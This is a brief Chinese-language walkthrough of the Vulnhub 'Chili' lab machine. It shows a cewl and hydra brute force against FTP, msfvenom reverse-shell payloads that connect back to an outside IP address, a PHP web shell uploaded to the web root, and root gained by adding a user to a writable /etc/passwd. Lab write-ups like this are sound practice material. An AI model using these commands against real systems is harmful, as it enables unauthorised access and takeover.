【Vulnhub】Chili

信息收集

开了ftp服务和80端口，网站也只有一张图片，扫目录也没有别的

爆破

一个关键词？用cewl爬一下关键字,再配合rockyou.txt爆破一下ftp。
提示很少，只能用这种暴力方法来尝试rockyou.txt很大，要等些时间

cewl http://192.168.83.145/ > user.txt
hydra -L user.txt -P rockyou.txt 192.168.83.145 ftp

chili:a1b2c3d4

用xftp连接了一下没什么东西

提权

用户目录下没什么东西，去看看网站根目录，我们有一个权限比较高的nano目录，msf生成木马上传

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=120.27.114.xx LPORT=7000 -f elf > mshell.elf
我的是云服务器，真实ip所以xx保密

执行不了。。。。，可能ftp权限不能执行文件吧，那就生成php木马吧，上传上去然后访问页面

msfvenom -p php/meterpreter_reverse_tcp LHOST=120.27.114.84 LPORT=7000 -f raw  > shell.php

连上了又立马断了，payload忘换了，


这下好了，上传检测工具到网站目录下

shell模式下才能执行脚本

可以对/etc/psswd操作，添加一个高权限用户

/usr/bin/perl -le 'print crypt("test","test")'
首先在本机通过perl语言生成test用户的密码密文

ok提权到root，读取flag